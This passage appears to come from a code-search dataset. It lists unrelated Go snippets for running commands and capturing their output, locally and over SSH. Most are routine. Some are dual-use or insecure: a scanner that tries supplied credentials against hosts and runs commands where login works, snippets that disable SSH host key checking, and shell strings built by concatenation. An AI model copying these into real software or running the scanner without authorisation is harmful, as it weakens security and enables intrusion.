:= bytes.TrimSpace(stdout.Bytes())\n\terrBytes := bytes.TrimSpace(stderr.Bytes())\n\treturn outBytes, errBytes, err\n}", "func (c *SSHCommand) StdoutPipe() (io.ReadCloser, error) {\n\treturn c.cmd.StdoutPipe()\n}", "func (sshClient *SSHClient) Execute(cmdList []string) []string {\n\n\tsession, err := sshClient.connect()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer session.Close()\n\n\tlog.Println(\"Connected.\")\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // 0:disable echo\n\t\tssh.TTY_OP_ISPEED: 14400 * 1024, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400 * 1024, //output speed = 14.4kbaud\n\t}\n\tif err1 := session.RequestPty(\"linux\", 64, 200, modes); err1 != nil {\n\t\tlog.Fatalf(\"request pty error: %s\\n\", err1.Error())\n\t}\n\n\tlog.Println(\"PtyRequested.\")\n\n\tw, err := session.StdinPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tr, err := session.StdoutPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\te, err := session.StderrPipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tin, out := sshClient.MuxShell(w, r, e)\n\tif err := session.Shell(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t//<-out\n\tsWelcome := <-out\n\tlog.Printf(\"Welcome:%s\\n\", sWelcome) //ignore the shell output\n\n\tvar ret []string\n\n\tfor _, cmd := range cmdList {\n\t\tlog.Printf(\"Exec %v\\n\", cmd)\n\n\t\tin <- cmd\n\n\t\tsOut := <-out\n\t\tlog.Printf(\"Result-%s\\n\", sOut)\n\t\tret = append(ret, sOut)\n\t}\n\n\tin <- sshClient.ExitCmd\n\t_ = <-out\n\tsession.Wait()\n\n\treturn ret\n}", "func (c *Cmd) Output() ([]byte, error) {\n\treturn c.Cmd.Output()\n}", "func execCmdWithOutput(arg0 string, args ...string) (string, error) {\n\tcmd := exec.Command(arg0, args...)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif cmd_err := cmd.Start(); cmd_err != nil {\n\t\treturn \"\", cmd_err\n\t}\n\n\toutput, err_out := ioutil.ReadAll(stdout)\n\tif err_out != nil {\n\t\treturn \"\", err_out\n\t}\n\n\treturn string(output), nil\n}", "func (ctssstotl ConnectToSourceSQLServerTaskOutputTaskLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}", "func (c Command) Output(args ...string) ([]byte, error) {\n\treturn c.builder().Output(args...)\n}", "func (sc *sshclient) RunWithResults(address string, command string) (string, error) {\n\tclient, err := ssh.Dial(\"tcp\", address, sc.config)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Could not connect to address %s:%v \", address, err)\n\t}\n\n\t// Each ClientConn can support multiple interactive sessions,\n\t// represented by a Session.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Could not create session at address %s:%v \", address, err)\n\t}\n\tdefer session.Close()\n\n\tresultdata, err := session.Output(command)\n\tif err != nil {\n\t\treturn string(resultdata), fmt.Errorf(\"Command '%s' at address %s produced an error:%v \", command, address, err)\n\t}\n\n\treturn string(resultdata), nil\n}", "func SSHConnect() {\n\tcommand := \"uptime\"\n\tvar usInfo userInfo\n\tvar kP keyPath\n\tkey, err := ioutil.ReadFile(kP.privetKey)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := &ssh.ClientConfig{\n\t\tUser: usInfo.user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallBack,\n\t}\n\tclient, err := ssh.Dial(\"tcp\", usInfo.servIP+\":\"+usInfo.port, config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer client.Close()\n\tss, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer ss.Close()\n\tvar stdoutBuf bytes.Buffer\n\tss.Stdout = &stdoutBuf\n\tss.Run(command)\n\tfmt.Println(stdoutBuf.String())\n}", "func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\n\tresults := make(chan string, 100)\n\ttimeout := time.After(5 * time.Second)\n\n\tfor _, hostname := range hosts {\n\t\tgo func(hostname string) {\n\t\t\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\n\t\t}(hostname)\n\t}\n\n\tfor i := 0; i < len(hosts); i++ {\n\t\tselect {\n\t\tcase res := <-results:\n\t\t\t//fmt.Print(res)\n\t\t\tresult = res\n\t\t\terror = false\n\t\tcase <-timeout:\n\t\t\t//fmt.Println(\"Timed out!\")\n\t\t\tresult = \"Time out!\"\n\t\t\terror = true\n\t\t}\n\t}\n\treturn\n}", "func RunCommandWithOutputLiveWrapper(c *OSCommand, command string, output func(string) string) error {\n\tcmd := c.ExecutableFromString(command)\n\tcmd.Env = append(cmd.Env, \"LANG=en_US.UTF-8\", \"LC_ALL=en_US.UTF-8\")\n\n\tvar stderr bytes.Buffer\n\tcmd.Stderr = &stderr\n\n\tptmx, err := pty.Start(cmd)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\t\tscanner := bufio.NewScanner(ptmx)\n\t\tscanner.Split(scanWordsWithNewLines)\n\t\tfor scanner.Scan() {\n\t\t\ttoOutput := strings.Trim(scanner.Text(), \" \")\n\t\t\t_, _ = ptmx.WriteString(output(toOutput))\n\t\t}\n\t}()\n\n\terr = cmd.Wait()\n\tptmx.Close()\n\tif err != nil {\n\t\treturn errors.New(stderr.String())\n\t}\n\n\treturn nil\n}", "func ExecCmdAndGetOutput(cmd string) string {\n\tfields, err := shlex.Split(cmd)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tbytes, err := exec.Command(fields[0], fields[1:]...).Output() // waits for it to complete\n\ts := strings.TrimSpace(string(bytes))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn s\n}", "func TestSessionOutput(t *testing.T) {\n\tconn := dial(fixedOutputHandler, t)\n\tdefer conn.Close()\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to request new session: %v\", err)\n\t}\n\tdefer session.Close()\n\n\tbuf, err := session.Output(\"\") // cmd is ignored by fixedOutputHandler\n\tif err != nil {\n\t\tt.Error(\"Remote command did not exit cleanly:\", err)\n\t}\n\tw := \"this-is-stdout.\"\n\tg := string(buf)\n\tif g != w {\n\t\tt.Error(\"Remote command did not return expected string:\")\n\t\tt.Logf(\"want %q\", w)\n\t\tt.Logf(\"got %q\", g)\n\t}\n}", "func executeCommandCapturingStdout(args ...string) (string, string) {\n\n\t// We substitute our own pipe for stdout to collect the terminal output\n\t// but must be careful to always restore stadt and close the pripe files.\n\toriginalStdout := os.Stdout\n\treadFile, writeFile, err := os.Pipe()\n\tif err != nil {\n\t\tfmt.Printf(\"Could not capture stdout: %s\", err.Error())\n\t\tos.Exit(1)\n\t}\n\n\t// Be careful to both put stdout back in its proper place, and restore any\n\t// tricks that we played on our child packages to get them to cooperate in our testing.\n\tdefer func() {\n\n\t\t// Restore stdout piping\n\t\tos.Stdout = originalStdout\n\t\twriteFile.Close()\n\t\treadFile.Close()\n\t}()\n\n\t// Set our own pipe as stdout\n\tos.Stdout = writeFile\n\n\t// Run the command with a random token value that does not matter because we won't actually\n\t// be calling AWS and so it won't be able to object\n\toutput := executeCommand(args...)\n\n\t// Restore stdout and close the write end of the pipe so that we can collect the output\n\tos.Stdout = originalStdout\n\twriteFile.Close()\n\n\t// Gather the output into a byte buffer\n\toutputBytes, err := ioutil.ReadAll(readFile)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to read pipe for stdout: : %s\", err.Error())\n\t\tos.Exit(1)\n\t}\n\n\t// Return the executeCommand output and stdout\n\treturn output, string(outputBytes)\n}", "func (c *Client) Exec(cmd string) ([]byte, error) {\n\tsession, err := c.SSHClient.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\n\treturn session.CombinedOutput(cmd)\n}", "func ExceCmdReturnOutput(cmd string) string {\n\tout, err := exec.Command(\"sh\", \"-c\", cmd).Output()\n\tif err != nil {\n\t\tfmt.Printf(\"Error with cmd: %s\\n\", cmd)\n\t}\n\n\tCheck(err)\n\n\treturn string(out)\n}", "func ForwardCmdOutput() func(*exec.Cmd) error {\n\treturn func(cmd *exec.Cmd) error {\n\t\tcmd.Stderr = os.Stderr\n\t\tcmd.Stdout = os.Stdout\n\t\treturn nil\n\t}\n}", "func executeWithOutput(cmd string, args ...string) string {\n\tout, err := exec.Command(cmd, args...).Output()\n\tif err != nil {\n\t\tlog.Fatalf(\"%s\", err)\n\t}\n\treturn string(out)\n}", "func CmdOut(command string) (string, error) {\r\n\treturn cmdOut(command)\r\n}", "func (ctssstoll ConnectToSourceSQLServerTaskOutputLoginLevel) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctssstoll, true\n}", "func (d *portworx) GetPxctlCmdOutput(n node.Node, command string) (string, error) {\n\topts := node.ConnectionOpts{\n\t\tIgnoreError: false,\n\t\tTimeBeforeRetry: defaultRetryInterval,\n\t\tTimeout: defaultTimeout,\n\t}\n\n\treturn d.GetPxctlCmdOutputConnectionOpts(n, command, opts, true)\n}", "func (ctssstoajl ConnectToSourceSQLServerTaskOutputAgentJobLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}", "func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\n\tvar b bytes.Buffer // import \"bytes\"\n\n\t// Connect\n\tclient, err := ssh.Dial(\"tcp\", net.JoinHostPort(addr, \"22\"), config)\n\tif err != nil {\n\t\treturn b, err\n\t}\n\t// Create a session. It is one session per command.\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\treturn b, err\n\t}\n\tdefer session.Close()\n\n\tsession.Stderr = os.Stderr // get output\n\tsession.Stdout = &b // get output\n\t// you can also pass what gets input to the stdin, allowing you to pipe\n\t// content from client to server\n\t// session.Stdin = bytes.NewBufferString(\"My input\")\n\n\t// Finally, run the command\n\tfullCmd := \". ~/.nix-profile/etc/profile.d/nix.sh && cd \" + workDir + \" && nix-shell \" + nixConf + \" --command '\" + cmd + \"'\"\n\tfmt.Println(fullCmd)\n\terr = session.Run(fullCmd)\n\treturn b, err\n}", "func ExecCmdAndSeeOutput(command string) {\n\tfields, err := shlex.Split(command)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcmd := exec.Command(fields[0], fields[1:]...)\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\terr = cmd.Run() // waits for it to complete\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func CmdCombinedOutputWithTimeout(timeout time.Duration, cmd *exec.Cmd) ([]byte, error) {\n\tif cmd.Stdout != nil {\n\t\treturn nil, errors.New(\"exec: Stdout already set\")\n\t}\n\tif cmd.Stderr != nil {\n\t\treturn nil, errors.New(\"exec: Stderr already set\")\n\t}\n\tvar b bytes.Buffer\n\tcmd.Stdout = &b\n\tcmd.Stderr = &b\n\tc := make(chan error, 1)\n\tif err := cmd.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\tgo func() {\n\t\tc <- cmd.Wait()\n\t}()\n\tselect {\n\tcase <-time.After(timeout):\n\t\tcmd.Process.Kill()\n\t\treturn b.Bytes(), ErrCmdTimeout\n\tcase err := <-c:\n\t\treturn b.Bytes(), err\n\t}\n}", "func (d *portworx) GetPxctlCmdOutputConnectionOpts(n node.Node, command string, opts node.ConnectionOpts, retry bool) (string, error) {\n\tpxctlPath := d.getPxctlPath(n)\n\t// Create context\n\tif len(d.token) > 0 {\n\t\t_, err := d.nodeDriver.RunCommand(n, fmt.Sprintf(\"%s context create admin --token=%s\", pxctlPath, d.token), opts)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to create pxctl context. cause: %v\", err)\n\t\t}\n\t}\n\n\tvar (\n\t\tout string\n\t\terr error\n\t)\n\n\tcmd := fmt.Sprintf(\"%s %s\", pxctlPath, command)\n\tif retry {\n\t\tout, err = d.nodeDriver.RunCommand(n, cmd, opts)\n\t} else {\n\t\tout, err = d.nodeDriver.RunCommandWithNoRetry(n, cmd, opts)\n\t}\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get pxctl status. cause: %v\", err)\n\t}\n\n\t// Delete context\n\tif len(d.token) > 0 {\n\t\t_, err := d.nodeDriver.RunCommand(n, fmt.Sprintf(\"%s context delete admin\", pxctlPath), opts)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to delete pxctl context. cause: %v\", err)\n\t\t}\n\t}\n\n\treturn out, nil\n}", "func (s *SSHClient) Execute(host, cmd string) (string, error) {\n\thostname := fmt.Sprintf(\"%s.%s.%s:%d\", host, s.projectID, DropletDomain, defaultSSHPort)\n\n\tpemBytes, err := s.repo.GetKey(s.projectID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsigner, err := ssh.ParsePrivateKey(pemBytes)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"parse key failed: %v\", err)\n\t}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: \"workshop\",\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"dialing\")\n\tconn, err := ssh.Dial(\"tcp\", hostname, config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ts.log.WithField(\"hostname\", hostname).Info(\"creating session\")\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer session.Close()\n\n\tvar buf bytes.Buffer\n\tsession.Stdout = &buf\n\n\ts.log.WithFields(logrus.Fields{\n\t\t\"hostname\": hostname,\n\t\t\"cmd\": cmd}).\n\t\tInfo(\"running command\")\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\ts.log.WithField(\"output\", buf.String()).WithError(err).Error(\"ssh client run returned non zero result\")\n\t\treturn \"\", fmt.Errorf(\"%s\\n%s\", err, buf.String())\n\t}\n\n\treturn buf.String(), nil\n}", "func (execImpl *Exec) CommandCombinedOutput(name string, arg ...string) ([]byte, error) {\n\treturn exec.Command(name, arg...).CombinedOutput()\n}", "func (ctsssto ConnectToSourceSQLServerTaskOutput) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctsssto, true\n}", "func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\n\tclient := s.doLookup(userserver)\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to create session:\", err)\n\t}\n\tdefer session.Close()\n\t/*\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stdout:\", err)\n\t\t}\n\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stderr:\", err)\n\t\t}\n\t*/\n\n\tbuf, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to execute cmd:\", err)\n\t}\n\n\t// Network read pushed to background\n\t/*readExec := func(r io.Reader, ch chan []byte) {\n\t\tif str, err := ioutil.ReadAll(r); err != nil {\n\t\t\tch <- str\n\t\t}\n\t}\n\toutCh := make(chan []byte)\n\tgo readExec(stdout, outCh)\n\t*/\n\treturn string(buf)\n}", "func (md *MassDns) GetOutput() <-chan dns.RR {\n\toc := md.output\n\treturn oc\n}", "func (host *Host) SSHRead(job *Job, command string) (out string, err error) {\n\tproc, err := host.startSSH(job, command)\n\tclose(proc.Stdin())\n\tfor {\n\t\tselect {\n\t\tcase line, ok := <-proc.Stdout():\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tout = line\n\t\tcase line, ok := <-proc.Stderr():\n\t\t\tif !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thost.logger.Println(line)\n\t\tcase err = <-proc.Done():\n\t\t\treturn\n\t\tcase <-time.After(job.Timeout):\n\t\t\treturn \"\", ErrorTimeout\n\t\tcase <-host.cancel:\n\t\t\tif proc.IsAlive() {\n\t\t\t\tproc.Signal(os.Interrupt)\n\t\t\t}\n\t\t\treturn \"\", ErrorCancel\n\t\t}\n\t}\n}", "func outputToken(token []byte) error {\n\toutput, err := json.Marshal(newExecCredential(token))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = fmt.Printf(\"%s\", output)\n\treturn err\n}", "func runCommandOutput(dir, command string, args ...string) ([]byte, error) {\n\tcmd := exec.Command(command, args...)\n\tcmd.Dir = dir\n\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, fmt.Sprintf(\"error running '%s':\\n%s\\n\", strings.Join(append([]string{command}, args...), \" \"), output))\n\t}\n\n\treturn output, nil\n}", "func Exec(cmds []string, host config.Host, pwd string, force bool) (string, error) {\n\tvar err error\n\tvar auth goph.Auth\n\tvar callback ssh.HostKeyCallback\n\n\tif force {\n\t\tcallback = ssh.InsecureIgnoreHostKey()\n\t} else {\n\t\tif callback, err = DefaultKnownHosts(); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tif host.Keyfile != \"\" {\n\t\t// Start new ssh connection with private key.\n\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\t\t\tfmt.Println(err)\n\t\t\t}\n\t\t\t// ssh: this private key is passphrase protected\n\t\t\tpwd = common.AskPass(\"Private key passphrase: \")\n\t\t\tif auth, err = goph.Key(host.Keyfile, pwd); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif pwd == \"\" {\n\t\t\tpwd = common.AskPass(\n\t\t\t\tfmt.Sprintf(\"%s@%s's password: \", host.User, host.Addr),\n\t\t\t)\n\t\t}\n\t\tauth = goph.Password(pwd)\n\t}\n\n\tif os.Getenv(\"GO\") == \"DEBUG\" {\n\t\tfmt.Println(host, pwd, force)\n\t}\n\n\tclient, err := goph.NewConn(&goph.Config{\n\t\tUser: host.User,\n\t\tAddr: host.Addr,\n\t\tPort: host.Port,\n\t\tAuth: auth,\n\t\tTimeout: 5 * time.Second,\n\t\tCallback: callback,\n\t})\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Defer closing the network connection.\n\tdefer client.Close()\n\n\t// Execute your command.\n\tout, err := client.Run(strings.Join(cmds, \" && \"))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get your output as []byte.\n\treturn string(out), nil\n}", "func (ctssstodl ConnectToSourceSQLServerTaskOutputDatabaseLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}", "func testCommand(t *testing.T, client ssh.Client, command string) error {\n\t// To avoid mixing the output streams of multiple commands running in\n\t// parallel tests, we combine stdout and stderr on the remote host, and\n\t// capture stdout and write it to the test log here.\n\tstdout := new(bytes.Buffer)\n\tif err := client.Run(command+\" 2>&1\", stdout, os.Stderr); err != nil {\n\t\tt.Logf(\"`%s` failed with %v:\\n%s\", command, err, stdout.String())\n\t\treturn err\n\t}\n\treturn nil\n}", "func runCommandWithOutput(execCmd *exec.Cmd) (string, int, error) {\n\tresult := icmd.RunCmd(transformCmd(execCmd))\n\treturn result.Combined(), result.ExitCode, result.Error\n}", "func (c *Cmd) Output(opts ...RunOption) ([]byte, error) {\n\tif c.Stdout != nil {\n\t\treturn nil, errStdoutSet\n\t}\n\n\tvar buf bytes.Buffer\n\tc.Stdout = &buf\n\n\tif err := c.Start(); err != nil {\n\t\treturn nil, err\n\t}\n\n\terr := c.Wait(opts...)\n\treturn buf.Bytes(), err\n}", "func (m *MinikubeRunner) SSH(cmdStr string) (string, error) {\n\tprofileArg := fmt.Sprintf(\"-p=%s\", m.Profile)\n\tpath, _ := filepath.Abs(m.BinaryPath)\n\n\tcmd := exec.Command(path, profileArg, \"ssh\", cmdStr)\n\tLogf(\"SSH: %s\", cmdStr)\n\tstdout, err := cmd.CombinedOutput()\n\tLogf(\"Output: %s\", stdout)\n\tif err, ok := err.(*exec.ExitError); ok {\n\t\treturn string(stdout), err\n\t}\n\treturn string(stdout), nil\n}", "func RunSSHCommand(SSHHandle *ssh.Client, cmd string, sudo bool, bg bool, logger *log.Logger) (retCode int, stdout, stderr []string) {\n\tlogger.Println(\"Running cmd \" + cmd)\n\tvar stdoutBuf, stderrBuf bytes.Buffer\n\tsshSession, err := SSHHandle.NewSession()\n\tif err != nil {\n\t\tlogger.Printf(\"SSH session creation failed! %s\", err)\n\t\treturn -1, nil, nil\n\t}\n\tdefer sshSession.Close()\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // disable echoing\n\t\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\n\t}\n\n\tif err = sshSession.RequestPty(\"xterm\", 80, 40, modes); err != nil {\n\t\tlogger.Println(\"SSH session Pty creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tsshOut, err := sshSession.StdoutPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StdoutPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\tsshErr, err := sshSession.StderrPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StderrPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tshout := io.MultiWriter(&stdoutBuf, (*LogWriter)(logger))\n\tssherr := io.MultiWriter(&stderrBuf, (*LogWriter)(logger))\n\n\tgo func() {\n\t\tio.Copy(shout, sshOut)\n\t}()\n\tgo func() {\n\n\t\tio.Copy(ssherr, sshErr)\n\t}()\n\n\tif bg {\n\t\tcmd = \"nohup sh -c \\\"\" + cmd + \" 2>&1 >/dev/null </dev/null & \\\"\"\n\t} else {\n\t\tcmd = \"sh -c \\\"\" + cmd + \"\\\"\"\n\t}\n\n\tif sudo {\n\t\tcmd = SudoCmd(cmd)\n\t}\n\n\tlogger.Println(\"Running command : \" + cmd)\n\tif err = sshSession.Run(cmd); err != nil {\n\t\tlogger.Println(\"failed command : \" + cmd)\n\t\tswitch v := err.(type) {\n\t\tcase *ssh.ExitError:\n\t\t\tretCode = v.Waitmsg.ExitStatus()\n\t\tdefault:\n\t\t\tretCode = -1\n\t\t}\n\t} else {\n\t\tlogger.Println(\"sucess command : \" + cmd)\n\t\tretCode = 0\n\t}\n\n\tstdout = strings.Split(stdoutBuf.String(), \"\\n\")\n\tstderr = strings.Split(stderrBuf.String(), \"\\n\")\n\tlogger.Println(stdout)\n\tlogger.Println(stderr)\n\tlogger.Println(\"Return code : \" + strconv.Itoa(retCode))\n\n\treturn retCode, stdout, stderr\n\n}", "func (c *Cmd) CombinedOutput() ([]byte, error) {\n\treturn c.Cmd.CombinedOutput()\n}", "func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\n\t// Develop the network connection out\n\tconn, err := ssh.Dial(\"tcp\", host, &conf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Actually perform our connection\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tconn.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn conn, session, nil\n}", "func (c *CmdReal) Output() ([]byte, error) {\n\treturn c.cmd.Output()\n}", "func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\n\tssh.Timeout = dialTimeout\n\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, conn.Close())\n\t}\n\n\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\n\t// close the net.Conn as well as the channel upon close.\n\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\n\t\tAddress: constants.RemoteAuthServer,\n\t}, true)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, sconn.Close())\n\t}\n\treturn conn, nil\n}", "func (gc *GitCommand) Output() (string, error) {\n\targs := append(gc.reqArgs(), gc.addlArgs...)\n\tout, err := exec.Command(gc.binName, args...).Output()\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(out), nil\n}", "func RunCommandWithOutputLiveWrapper(c *OSCommand, command string, output func(string) string) error {\n\treturn c.RunCommand(command)\n}", "func (i ClusterInstance) Exec(log *logging.Logger, command string) (string, error) {\n\tstdout, err := i.runRemoteCommand(log, command, \"\", false)\n\tif err != nil {\n\t\treturn stdout, maskAny(err)\n\t}\n\treturn stdout, nil\n}", "func (ctssstotl ConnectToSourceSQLServerTaskOutputTaskLevel) AsBasicConnectToSourceSQLServerTaskOutput() (BasicConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctssstotl, true\n}", "func (cmd *ExecCommandImpl) Stdout() *OutputStream {\n\treturn cmd.stdout\n}", "func (d *DefaultDriver) GetPxctlCmdOutput(n node.Node, command string) (string, error) {\n\treturn \"\", &errors.ErrNotSupported{\n\t\tType: \"Function\",\n\t\tOperation: \"GetPxctlCmdOutput()\",\n\t}\n}", "func (r runcmdStubResult) Stdout() *bytes.Buffer {\n\tvar b bytes.Buffer\n\tb.WriteString(r.stdout)\n\treturn &b\n}", "func (this Scanner) Scan(target, cmd string, cred scanners.Credential, outChan chan scanners.Result) {\n\t// Add port 22 to the target if we didn't get a port from the user.\n\tif !strings.Contains(target, \":\") {\n\t\ttarget = target + \":22\"\n\t}\n\n\tvar config ssh.ClientConfig\n\tvar err error\n\n\t// Let's assume that we connected successfully and declare the data as such, we can edit it later if we failed\n\tresult := scanners.Result{\n\t\tHost: target,\n\t\tAuth: cred,\n\t\tMessage: \"Successfully connected\",\n\t\tStatus: true,\n\t\tOutput: \"\",\n\t}\n\n\t// Depending on the authentication type, run the correct connection function\n\tswitch cred.Type {\n\tcase \"basic\":\n\t\tconfig, err = this.prepPassConfig(cred.Account, cred.AuthData)\n\tcase \"sshkey\":\n\t\tconfig, err = this.prepCertConfig(cred.Account, cred.AuthData)\n\t}\n\n\t// Return if we got an error.\n\tif err != nil {\n\t\tresult.Message = err.Error()\n\t\tresult.Status = false\n\t}\n\n\t_, session, err := this.connect(cred.Account, target, config)\n\n\t// If we got an error, let's set the data properly\n\tif err != nil {\n\t\tresult.Message = err.Error()\n\t\tresult.Status = false\n\t}\n\n\t// If we didn't get an error and we have a command to run, let's do it.\n\tif err == nil && cmd != \"\" {\n\t\t// Execute the command\n\t\tresult.Output, err = this.executeCommand(cmd, session)\n\t\tif err != nil {\n\t\t\t// If we got an error, let's give the user some output.\n\t\t\tresult.Output = \"Script Error: \" + err.Error()\n\t\t}\n\t}\n\n\t// Finally, let's pass our result to the proper channel to write out to the user\n\toutChan <- result\n}", "func Exec(command string) (stdOut, stdErr *bytes.Buffer, err error) {\n\tc := cleanCommand(command)\n\tcmd := exec.Command(cli.Name, c...)\n\n\tvar stdOutBytes, stdErrBytes []byte\n\tvar errStdout, errStderr error\n\tstdOutIn, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tstdErrIn, err := cmd.StderrPipe()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tfmt.Printf(\"$ %s \\n\", strings.Join(cmd.Args, \" \"))\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tstdOutBytes, errStdout = copyAndCapture(os.Stdout, stdOutIn)\n\t\twg.Done()\n\t}()\n\tstdErrBytes, errStderr = copyAndCapture(os.Stderr, stdErrIn)\n\twg.Wait()\n\terr = cmd.Wait()\n\tif err != nil {\n\t\tfmt.Println(stdOut.String())\n\t\tfmt.Println(stdErr.String())\n\t}\n\tif errStdout != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to capture stdout: %w\", errStdout)\n\t}\n\tif errStderr != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to capture stderr: %w\", errStderr)\n\t}\n\treturn bytes.NewBuffer(stdOutBytes), bytes.NewBuffer(stdErrBytes), err\n}", "func (c *Connection) ExecuteRemote(node, command string, printStdout bool) error {\n\tcmd := exec.Command(\"ssh\", \"-A\", \"-i\", c.PrivateKeyPath, \"-p\", c.Port, \"-o\", \"ConnectTimeout=10\", \"-o\", \"StrictHostKeyChecking=no\", \"-o\", \"UserKnownHostsFile=/dev/null\", \"-o\", \"LogLevel=ERROR\", fmt.Sprintf(\"%s@%s\", c.User, c.Host), \"ssh\", \"-o\", \"ConnectTimeout=10\", \"-o\", \"StrictHostKeyChecking=no\", \"-o\", \"UserKnownHostsFile=/dev/null\", \"-o\", \"LogLevel=ERROR\", node, command)\n\tutil.PrintCommand(cmd)\n\tout, err := 